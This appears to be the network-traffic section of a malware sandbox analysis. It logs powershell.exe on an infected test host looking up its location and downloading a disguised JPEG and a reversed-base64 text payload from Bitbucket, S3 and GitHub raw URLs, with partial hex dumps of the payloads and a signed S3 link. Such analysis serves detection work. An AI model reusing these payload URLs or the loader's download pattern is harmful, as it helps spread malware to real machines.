74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 [TRUNCATED] Data Ascii: { "geoplugin_request":"216.52.183.150", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7157", "geoplugin_longitude":"-74", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49758	185.166.143.48	443	1812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 15:05:16 UTC	110	OUT	GET /adssgfdsg/testing/downloads/img_test.jpg?144417 HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-10-21 15:05:16 UTC	5162	IN	HTTP/1.1 302 Found Date: Mon, 21 Oct 2024 15:05:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/cbff8810-ace3-4466-81b1-12ba7827c90a/downloads/6b181c48-ea9d-4bf0-91bd-66321b83871e/img_test.jpg?response-content-disposition=attachment%3B%20filename%3D%22img_test.jpg%22&AWSAccessKeyId=ASIA6KOSE3BNO4DHE4VD&Signature=T6wewlQZbJQSKGkGpdqwpwnElD0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECcaCXVzLWVhc3QtMSJHMEUCIHdpGFp%2BMWJdC40IhWJ3SSuh%2F3P9BfkWVJgGy%2F5d%2FxJrAiEA7cnRTAkYqS7IEoVvpfPhmiGIFqnW%2BTusWS1k%2B1LqRikqsAIIkP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDJ3hZc5H13DpsrVvSiqEAljj%2Feh582Kf2l0rpXwuMkBTuVn5fmjxN%2F1UiGutq1P4eK6JpawNdKFwSb8l%2FBnJ7U5ngONu60OLxfc6clZbFgjDwM4%2Binq%2BtGirnaPvueTnkbFKwYcig0YN%2BXANfigCXdSciOrBg%2BF8ITeQUmtEngmT7cfpw%2FcS7o0Ca21R7rEL4sAFd%2FQGP4LHIKW4I8PHOJS7KDTwFSdbyJh0ZlsbBUKsG6nqervFT%2BkQqDFEvcCT3UE%2Bgf5YOa2Imez9jOuySSc0y0JrDCQxV0VL5777zwENSg149ioqUwRzrSQZ5r4uHdbGlyudfflZEMvBEQk5PSM9xVer2lqAPOQ8TCemuoAB0naRMM%2Fa2bgGOp0BRtpiv1UEzqz9j23bqShE4p37bMiYIPCEIVvttSlSIWNWclxJdsdz%2FKRhdxCMY6AmnPnHOIwyQPueK%2BLYy%2FV5HlKlvGL [TRUNCATED] Expires: Mon, 21 Oct 2024 15:05:16 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 88505e7b3e88 X-Version: b021f2266265 X-Static-Version: b021f2266265 X-Request-Count: 3894 X-Render-Time: 0.049344778060913086 X-B3-Traceid: ca5afaae37dc4bb7b40e674d637e8f69 X-B3-Spanid: e266b4c412124405 X-Frame-Options: SAMEORIGIN Content-Security-Policy: object-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.p [TRUNCATED] X-Usage-Quota-Remaining: 999168.756 X-Usage-Request-Cost: 848.70 X-Usage-User-Time: 0.023399 X-Usage-System-Time: 0.002062 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: ca5afaae37dc4bb7b40e674d637e8f69 Atl-Request-Id: ca5afaae-37dc-4bb7-b40e-674d637e8f69 Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=169,atl-edge-internal;dur=2,atl-edge-upstream;dur=168,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49764	52.217.161.161	443	1812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 15:05:17 UTC	1201	OUT	GET /cbff8810-ace3-4466-81b1-12ba7827c90a/downloads/6b181c48-ea9d-4bf0-91bd-66321b83871e/img_test.jpg?response-content-disposition=attachment%3B%20filename%3D%22img_test.jpg%22&AWSAccessKeyId=ASIA6KOSE3BNO4DHE4VD&Signature=T6wewlQZbJQSKGkGpdqwpwnElD0%3D&x-amz-security-token=IQoJb3JpZ2luX2VjECcaCXVzLWVhc3QtMSJHMEUCIHdpGFp%2BMWJdC40IhWJ3SSuh%2F3P9BfkWVJgGy%2F5d%2FxJrAiEA7cnRTAkYqS7IEoVvpfPhmiGIFqnW%2BTusWS1k%2B1LqRikqsAIIkP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDJ3hZc5H13DpsrVvSiqEAljj%2Feh582Kf2l0rpXwuMkBTuVn5fmjxN%2F1UiGutq1P4eK6JpawNdKFwSb8l%2FBnJ7U5ngONu60OLxfc6clZbFgjDwM4%2Binq%2BtGirnaPvueTnkbFKwYcig0YN%2BXANfigCXdSciOrBg%2BF8ITeQUmtEngmT7cfpw%2FcS7o0Ca21R7rEL4sAFd%2FQGP4LHIKW4I8PHOJS7KDTwFSdbyJh0ZlsbBUKsG6nqervFT%2BkQqDFEvcCT3UE%2Bgf5YOa2Imez9jOuySSc0y0JrDCQxV0VL5777zwENSg149ioqUwRzrSQZ5r4uHdbGlyudfflZEMvBEQk5PSM9xVer2lqAPOQ8TCemuoAB0naRMM%2Fa2bgGOp0BRtpiv1UEzqz9j23bqShE4p37bMiYIPCEIVvttSlSIWNWclxJdsdz%2FKRhdxCMY6AmnPnHOIwyQPueK%2BLYy%2FV5HlKlvGL7cX5kPi6DbUpaR6DWxL6p2AoqNVyGjtCQwiwBbff1ljX [TRUNCATED] Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-10-21 15:05:17 UTC	528	IN	HTTP/1.1 200 OK x-amz-id-2: e2Bzni8MLKlLXHUZbLuhB7fDFdaC4kaLH8LEcu6qzV1oN/PqPnNV2JfowYwEoND9Qjjxpol0x90= x-amz-request-id: YCJBKQ12YH5YNCRS Date: Mon, 21 Oct 2024 15:05:18 GMT Last-Modified: Fri, 11 Oct 2024 19:32:10 GMT ETag: "e0d39b0a0496243d533fe927251c3b32" x-amz-server-side-encryption: AES256 x-amz-version-id: RXNouSsAldf7yiXikeGhYPApJ6wa7Pf9 Content-Disposition: attachment; filename="img_test.jpg" Accept-Ranges: bytes Content-Type: image/jpeg Content-Length: 2578503 Server: AmazonS3 Connection: close
2024-10-21 15:05:17 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 16 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 08 70 0f 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1e 00 00 00 07 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 00 09 0a ff c4 00 5f 10 00 01 03 03 03 02 04 03 06 04 03 06 03 01 01 21 01 Data Ascii: JFIF,,ExifMM*CCp"_!
2024-10-21 15:05:17 UTC	496	IN	Data Raw: c1 dc 0f e7 54 ac a7 04 aa 69 93 0d 3f c8 ef 4f ad ee 14 a4 41 54 fa 54 33 17 52 07 30 45 3a b7 b8 d8 48 93 3d e7 bd 54 9d 4c 96 32 c1 32 97 0a 76 9d c2 97 69 ed c9 24 1e 47 1f 5a 8a 45 cc ab 69 3e c0 f6 a5 db 7f 6f f5 4a 63 f5 a8 1c 19 2a 91 2a 9b 84 84 8f 9b 9e f1 e9 47 45 c4 a8 ca b8 f5 a8 d4 3a 95 81 07 bf 95 28 9b 9e 7e 6f c3 40 eb 13 91 22 ab 94 88 04 f6 ff 00 bf ca 8c 1f 49 50 83 51 ad dc c4 a8 11 1e 46 79 a3 0b a3 f8 89 24 9f 2a 1f 6d 8f bb 82 47 c4 e1 26 7b 8a 37 8d b8 f0 79 a8 c1 7c 79 98 03 b0 a1 6e f7 c3 59 25 44 f1 e9 4d ed 0d b8 93 37 02 48 04 11 41 f7 84 ef 1c 0a 8c 5d ee d3 09 30 26 8a e6 43 6f 3d 88 f4 34 5e d0 9c 91 2a 6e 40 02 48 04 fb d1 d1 76 15 b7 d3 91 de a1 55 7e 48 9f 33 e6 0f 7a f3 79 12 99 12 62 9d c1 f6 1f 71 3b f7 89 4f 04 49 Data Ascii: Ti?OATT3R0E:H=TL22vi$GZEi>oJc*GE:(~o@"IPQFy$mG&{7y\|ynY%DM7HA]0&Co=4^*n@HvU~H3zybq;OI
2024-10-21 15:05:17 UTC	16384	IN	Data Raw: 62 9d c2 67 91 3c 91 48 bc b0 15 f5 fc aa 68 f0 46 df 23 47 6d c1 31 1c 79 d3 77 6c c9 04 84 82 07 d6 9f 92 9f 69 34 57 1a 1c 1e 01 fe d5 34 5f 60 64 88 87 ed 3b c2 7b 53 0b ab 58 07 ca ac 0f 32 95 4f 6f 7e 62 a3 af 18 ef 1d fd cf 15 3d 72 e4 0f c3 20 6f 2d c2 d3 30 62 66 98 3a c0 4a 3b 76 f3 f7 a9 cb 9b 70 12 79 f3 a8 db 96 37 c8 e2 27 b5 68 d6 f2 56 9a c3 21 5e 4e c6 cc ff 00 51 e6 7c aa 36 f8 8d 84 81 ed 53 97 4c 77 33 26 a1 af 5b 25 11 3c 79 d6 85 65 79 a2 1e e9 3b 90 4c 8e de 74 d2 e1 29 09 3c 77 f3 fd 69 e5 c3 65 b4 a8 a8 92 0f 26 91 79 92 e0 90 a8 06 af d7 d8 89 ac 11 8f 28 6c 51 1b b9 ee 29 a1 b4 5f f5 02 41 e4 54 bb 76 61 42 09 04 7f 7a 7b 69 8f 48 db 25 20 0a b2 9a 5d c8 99 59 76 c9 40 13 b1 62 3d e8 19 68 02 ad a7 f0 c8 3c d5 9b 28 c2 0b 0a 03 Data Ascii: bg<HhF#Gm1ywli4W4_`d;{SX2Oo~b=r o-0bf:J;vpy7'hV!^NQ\|6SLw3&[%<yey;Lt)<wie&y(lQ)_ATvaBz{iH% ]Yv@b=h<(
2024-10-21 15:05:17 UTC	1024	IN	Data Raw: cf a9 af 25 2a 1c 73 e9 20 ff 00 d2 9d 86 a4 91 46 16 fc 79 50 3c 04 33 29 f9 80 32 00 33 34 74 b6 12 15 c8 3e a6 97 36 d0 9f 2e 28 a1 9d 9c 71 42 20 a1 21 40 1f 2e f1 47 09 dc 98 8f 61 22 8c db 70 9e e3 f5 8a 10 92 7e b3 eb 4c e4 23 c1 30 9e 4f 68 a1 29 e4 0e 6b ca 44 01 04 98 a3 26 4a 79 a0 11 e6 e4 0f 5e 69 44 a8 1f 59 a4 c0 09 24 09 e0 d1 d1 04 91 ef 48 40 4f 3c 73 f9 d2 89 51 db c1 ef de 8a e2 60 48 e2 2b c8 04 45 36 07 4f 02 ed ae 55 f4 e6 96 49 f9 92 20 c0 a6 c9 ee 79 13 f5 a5 10 a3 b8 73 42 d0 6b 91 cb 44 19 20 cf bd 2c 14 09 13 de 78 e7 b5 20 98 da 63 ca 95 6d 13 c1 34 c2 16 6f 95 8f 58 a3 b7 09 4a 7b f2 7c a8 8d 88 5f d3 8a 3b 49 07 d3 83 eb ff 00 4a 42 14 09 2a 00 cc 7b 45 18 af 68 f3 a4 d2 bd a4 09 11 5e 52 e5 5e dd fd 28 5c 44 2a 85 ef 3d 88 Data Ascii: %s FyP<3)234t>6.(qB !@.Ga"p~L#0Oh)kD&Jy^iDY$H@O<sQ`H+E6OUI ysBkD ,x cm4oXJ{\|_;IJB{Eh^R^(\D*=
2024-10-21 15:05:17 UTC	16384	IN	Data Raw: b6 09 20 81 13 f9 52 0e b0 09 91 c0 a7 ea 40 e0 1e 23 ce 93 53 21 52 0f 34 59 02 44 50 b6 f9 a3 9e 0f e5 47 4d b8 24 48 e7 eb 4f 4b 07 71 ec 09 a0 28 90 20 4c 7b c4 d2 18 6b f7 30 ea 78 04 79 51 c5 80 6c 73 27 8a 72 94 14 f3 db f3 99 af 05 85 a6 7c c0 ed 48 44 65 c5 a2 67 b1 3c 52 05 a2 83 d8 c5 48 3e 9d c4 f2 3b 7d 29 ba d3 00 82 49 fc e9 09 8d 95 00 f6 23 ea 6b ce a4 28 77 99 a3 a9 1f 5f d6 88 78 49 11 e7 fa d2 10 dd 7d a7 cf 9a 41 d4 8f 08 fe bf 4a 70 a4 f1 c0 e4 52 2f 0f 95 5f 48 a3 4c 44 7b e8 96 cf 62 7b 71 48 3e 37 03 e5 da 9d 5d 00 11 de 27 bd 36 70 05 13 e8 2a c2 ec 21 15 00 b0 79 f5 a3 25 24 c4 71 c7 f9 50 38 02 07 1c c5 1a 78 91 1c d3 88 49 48 94 19 e0 2a 8a b4 0d c0 73 26 97 58 84 10 3c bf 3a 05 34 41 99 14 e9 89 8c d6 d0 12 76 9e 45 20 a4 6d Data Ascii: R@#S!R4YDPGM$HOKq( L{k0xyQls'r\|HDeg<RH>;})I#k(w_xI}AJpR/_HLD{b{qH>7]'6p!y%$qP8xIHs&X<:4AvE m
2024-10-21 15:05:17 UTC	1024	IN	Data Raw: c0 e3 d6 9a be df 87 e9 1e 67 9a 74 c2 c0 c9 4d 27 72 8c f3 eb 49 a9 20 7f 6e 29 67 cf cc 7b 08 30 39 34 94 05 28 84 88 54 f7 a2 dc 84 14 27 77 ca 38 fe f4 bb 2d 6f fe f3 45 4a 42 e4 47 24 fe b4 f6 c5 a4 a0 6d ed fe 74 2d e4 1d a2 6c d9 95 98 3d 89 f5 a1 72 d4 a5 45 21 40 0a 7a c3 61 30 69 2b 84 ca 8f 7e 3b 53 0b 03 07 59 e0 95 1e df 9f e7 4c 2e 5b 95 14 ce e9 f5 e2 2a 51 fe 53 00 03 03 cf 8a 65 70 80 b5 02 40 e6 8d 76 04 8d 75 90 90 00 3b 8f e9 34 91 62 42 8e e5 03 e8 3b 53 97 92 01 ec 24 73 de 91 dc 12 a2 3b 95 54 91 62 08 86 7e 43 bb e6 f3 e0 40 14 a1 b4 1b 01 2a 30 28 02 c0 73 68 51 88 8a 5c 10 a4 94 c8 26 3c fc a9 c4 34 bb 6c 6e e0 98 02 22 78 9a 6c 10 01 e6 7d 27 d7 de a4 6e 59 33 dc 76 9a 6e 94 10 8d d1 cc 13 f5 a4 21 1f 08 6d 24 93 41 e6 66 79 32 Data Ascii: gtM'rI n)g{094(T'w8-oEJBG$mt-l=rE!@za0i+~;SYL.[QSep@vu;4bB;S$s;Tb~C@0(shQ\&<4ln"xl}'nY3vn!m$Afy2
2024-10-21 15:05:17 UTC	16384	IN	Data Raw: 17 cf cc a1 dc c9 f3 a7 0f 12 04 4c ff 00 df 6a 68 ec 25 64 f3 1c 71 52 44 42 7b 47 97 11 ef 45 56 d4 9f 96 49 ef 1c d1 c2 41 49 12 7b 91 cd 24 b8 f1 08 fd 68 84 79 6e ca 4a 44 c8 a0 51 95 09 8e 3d e9 3f 0c 15 13 27 9f 20 66 84 ca 12 4c 99 3e b4 84 14 ae 07 1f de 8b 07 76 d2 3b 73 42 44 48 f5 e7 e9 42 9e 14 7e 94 b0 33 78 09 cc fe 54 05 2a 88 03 98 8e f4 22 27 cf 9a f2 ce e0 79 20 9e 28 d4 70 3a 60 a4 90 04 81 5e 81 e7 44 5a b6 83 c9 e2 82 67 d3 f5 a5 81 06 50 49 e4 83 f5 a0 08 04 cc 71 45 0e 4a bd 04 fa d1 b7 70 0d 2c 08 02 98 58 88 89 f3 a2 94 18 24 10 27 f3 af 17 07 ac cf bd 15 6e c2 80 81 cf bd 38 81 91 33 da 80 91 27 9e 3e b4 99 30 a3 fe b4 42 61 27 93 cf bd 26 46 28 57 f3 c4 cf 7a 4c ac 89 e6 bc a5 49 3e 50 68 85 30 08 93 cd 21 06 82 91 e5 fa d7 a3 Data Ascii: Ljh%dqRDB{GEVIAI{$hynJDQ=?' fL>v;sBDHB~3xT*"'y (p:`^DZgPIqEJp,X$'n83'>0Ba'&F(WzLI>Ph0!
2024-10-21 15:05:17 UTC	1024	IN	Data Raw: af 91 02 b5 fc be f4 9a 95 27 88 8e f4 2a 3c 79 72 45 01 40 31 b4 f0 93 06 88 42 47 92 44 8f ce 81 ce 3b 9f 2e 68 f0 50 54 7b c8 a0 5a 77 03 cf 7a 42 1b 2e 12 af f4 a2 b8 bd 93 1c 8f 4f 4a 33 dc 18 fc 8d 37 74 f1 c7 02 90 d2 78 59 0e b7 41 3c 28 f7 8a 3b 6b 23 b9 ef 4d 90 8d a4 c4 fe bd e8 e9 57 f3 12 38 03 db b1 a4 03 1c 29 60 19 24 76 f5 a4 8c 17 07 62 07 34 45 2c ef 3d e4 f9 7a d0 ee 30 44 ab 91 48 47 d0 db a7 d2 08 1d c5 34 79 f4 a8 fa 0f 6a 65 7b 93 88 85 77 e6 98 bb 92 0a e4 a8 19 ac 08 c7 26 c6 47 77 ce c2 b8 fd 3b 8a 86 bf d8 fc 83 13 e5 eb 43 71 93 f9 c9 26 66 a3 6e af 81 dc 67 e6 1e bf fb 2a cd 71 69 91 cd a2 2b 54 d8 a5 0c 12 00 ec 79 f4 ac 3f 5a 6a 6b 9d 3f 72 e2 96 b0 a4 85 10 39 e2 2b 71 c8 e4 83 d6 8b 0b 48 24 f0 0d 66 3a bf 4e da 5d dc 15 Data Ascii: '<yrE@1BGD;.hPT{ZwzB.OJ37txYA<(;k#MW8)`$vb4E,=z0DHG4yje{w&Gw;Cq&fngqi+Ty?Zjk?r9+qH$f:N]
2024-10-21 15:05:17 UTC	16384	IN	Data Raw: 78 03 cc cd 19 24 13 c1 11 f4 ef 48 7c e4 32 92 08 13 06 82 78 9f 4f 7e f5 e5 9e 38 a0 00 24 09 3f 58 a5 80 5b 3c 60 9e d4 29 30 7d 4c 7a d7 88 82 20 2b 83 5e ef 10 3e 6a 4d 30 77 60 51 b5 94 c0 3c 7b 8a 70 cb e3 71 ef 27 d7 b0 a6 4d ab 84 cc 11 3c 4d 28 85 03 31 f2 d0 3a d3 09 5b 81 fb 77 12 3b f7 e6 66 9c 37 77 b4 82 4c 9f 23 3d ea 30 2e 13 dc 92 79 f6 a7 16 ee 84 93 c8 90 26 6a 29 56 8b 10 bb 82 6d 8c b7 f2 80 93 c7 30 29 64 e6 07 32 a5 27 70 9e dd aa 19 0e 83 22 47 14 64 dc 04 80 38 04 71 de a1 54 a2 75 6b c1 2e 8b dd d3 ea 7d 7c e9 ad cb 7e 21 3b 54 41 1c 53 2f 18 88 3b 8c 13 f4 a3 7d ed 5c 73 c7 bd 1a ad 21 9d b9 15 5b 61 11 27 74 f6 a4 ca 42 89 e4 f1 da 83 c5 0e ff 00 50 3b 7d 3c ab ca 70 03 c1 10 3d 3b d4 89 7c 00 a4 08 40 01 44 99 1f de 81 c4 87 Data Ascii: x$H\|2xO~8$?X[<`)0}Lz +^>jM0w`Q<{pq'M<M(1:[w;f7wL#=0.y&j)Vm0)d2'p"Gd8qTuk.}\|~!;TAS/;}\s![a'tBP;}<p=;\|@D
2024-10-21 15:05:17 UTC	1024	IN	Data Raw: 8e fe 43 bd 09 68 f6 83 df d2 29 c9 6a 62 38 db de 83 ee c0 76 f4 a4 f9 1b 03 7d a1 24 00 7b 8e 24 76 a0 0b f9 48 23 ce 38 34 e1 56 ff 00 2f af 91 fa 51 3e eb f3 4f 68 e7 de 9b 00 05 42 4a 08 57 22 3c a8 c9 7e 3f 2a 14 b6 08 90 67 ca 0d 18 a3 60 32 00 03 b1 f3 a0 94 51 24 6c 68 32 0c 12 49 90 69 54 bc 40 20 13 ff 00 7e 54 90 41 4c c8 ef 46 4b 22 49 9e f5 1b af 24 8a c7 9c 8e 51 78 a0 81 d8 45 2e cd da 52 66 7b fb d4 70 65 3b 84 19 23 9e 29 62 da 77 03 cc cf 98 a1 75 2f 04 b0 b4 78 f5 ca 96 ef ca 4f 1d f9 8a 56 de ff 00 6a 86 f9 da 7c a9 8e f5 26 13 c7 1c f7 e2 85 2a 83 b8 f7 1d aa 19 54 4f 1b 5e 4b 06 32 f1 0a 5a 41 13 06 2a 71 a7 99 71 b4 f7 10 3f 4a a7 a2 e0 44 ee 82 79 a7 b6 d7 8b 6d 20 ee 93 33 dc d5 79 e9 d3 2c 43 51 c7 25 8d 60 4c 81 20 8e 0d 24 e2 Data Ascii: Ch)jb8v}${$vH#84V/Q>OhBJW"<~?g`2Q$lh2IiT@ ~TALFK"I$QxE.Rf{pe;#)bwu/xOVj\|&TO^K2ZA*qq?JDym 3y,CQ%`L $

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49789	185.199.108.133	443	1812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 15:05:22 UTC	121	OUT	GET /IJEUWAESIKA/skyapb/refs/heads/main/kgpmmrd.txt HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-21 15:05:22 UTC	894	IN	HTTP/1.1 200 OK Connection: close Content-Length: 624104 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "e2e4cf46e8c93852d459f70b619a5faf0d779c9ca794122c88d51a2b6591d86e" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 39E3:2B4F25:671EB:6F854:67166DB2 Accept-Ranges: bytes Date: Mon, 21 Oct 2024 15:05:22 GMT Via: 1.1 varnish X-Served-By: cache-lga21985-LGA X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1729523123.642651,VS0,VE117 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 3a47513fc721eaf79e4473ff2227f3e57fab192b Expires: Mon, 21 Oct 2024 15:10:22 GMT Source-Age: 0
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 44 4f 6b 76 44 34 37 77 39 4f 59 76 44 79 37 51 38 4f 30 75 44 6e 37 51 35 4f 51 75 44 6a 37 67 34 4f 45 75 44 67 37 41 33 4f 73 74 44 58 37 51 30 4f 38 73 44 4f 37 51 7a 4f 77 73 44 4c 37 77 78 4f 59 73 44 43 36 41 76 4f 6f 72 44 35 36 41 75 4f 63 72 44 32 36 67 73 4f 45 72 44 74 36 77 70 4f 55 71 44 6b 36 77 6f 4f 38 70 44 65 36 67 6d 4f 6b 70 44 56 36 77 6a 4f 30 6f 44 4d 36 41 69 4f 49 6f 44 41 35 77 66 4f 34 6e 44 39 35 51 65 4f 4d 6e 44 79 35 41 62 4f 6f 6d 44 70 35 41 61 4f 63 6d 44 6d 35 67 59 4f 45 6d 44 64 35 77 56 4f 55 6c 44 55 35 41 55 4f 38 6b 44 4c 35 51 52 4f 4d 6b 44 43 35 51 41 4f 30 6a 44 38 34 41 4f 4f 49 6a 44 77 34 77 4c 4f 34 69 44 74 34 51 4b 4f 67 69 44 6b 34 67 48 4f 77 68 44 62 34 67 47 4f 6b 68 44 56 34 41 46 4f 41 68 44 4b 34 Data Ascii: DOkvD47w9OYvDy7Q8O0uDn7Q5OQuDj7g4OEuDg7A3OstDX7Q0O8sDO7QzOwsDL7wxOYsDC6AvOorD56AuOcrD26gsOErDt6wpOUqDk6woO8pDe6gmOkpDV6wjO0oDM6AiOIoDA5wfO4nD95QeOMnDy5AbOomDp5AaOcmDm5gYOEmDd5wVOUlDU5AUO8kDL5QROMkDC5QAO0jD84AOOIjDw4wLO4iDt4QKOgiDk4gHOwhDb4gGOkhDV4AFOAhDK4
2024-10-21 15:05:22 UTC	1378	IN	Data Raw: 55 6f 44 44 36 51 51 4f 38 6e 44 39 35 77 65 4f 6b 6e 44 33 35 51 64 4f 4d 6e 44 78 35 77 62 4f 30 6d 44 72 35 51 61 4f 63 6d 44 6c 35 77 59 4f 45 6d 44 66 35 51 58 4f 73 6c 44 5a 35 77 56 4f 55 6c 44 54 35 51 55 4f 38 6b 44 4e 35 77 53 4f 6b 6b 44 48 35 51 52 4f 4d 6b 44 42 34 77 50 4f 30 6a 44 37 34 51 4f 4f 63 6a 44 31 34 77 4d 4f 45 6a 44 76 34 51 4c 4f 73 69 44 70 34 77 4a 4f 55 69 44 6a 34 51 49 4f 38 68 44 64 34 77 47 4f 6b 68 44 58 34 51 46 4f 4d 68 44 52 34 77 44 4f 30 67 44 4c 34 51 43 4f 63 67 44 46 34 77 41 4f 45 63 44 2f 33 51 2f 4e 73 66 44 35 33 77 39 4e 55 66 44 7a 33 51 38 4e 38 65 44 74 33 77 36 4e 6b 65 44 6e 33 51 35 4e 4d 65 44 68 33 77 33 4e 30 64 44 62 33 51 32 4e 63 64 44 56 33 77 30 4e 45 64 44 50 33 51 7a 4e 73 63 44 4a 33 77 78 Data Ascii: 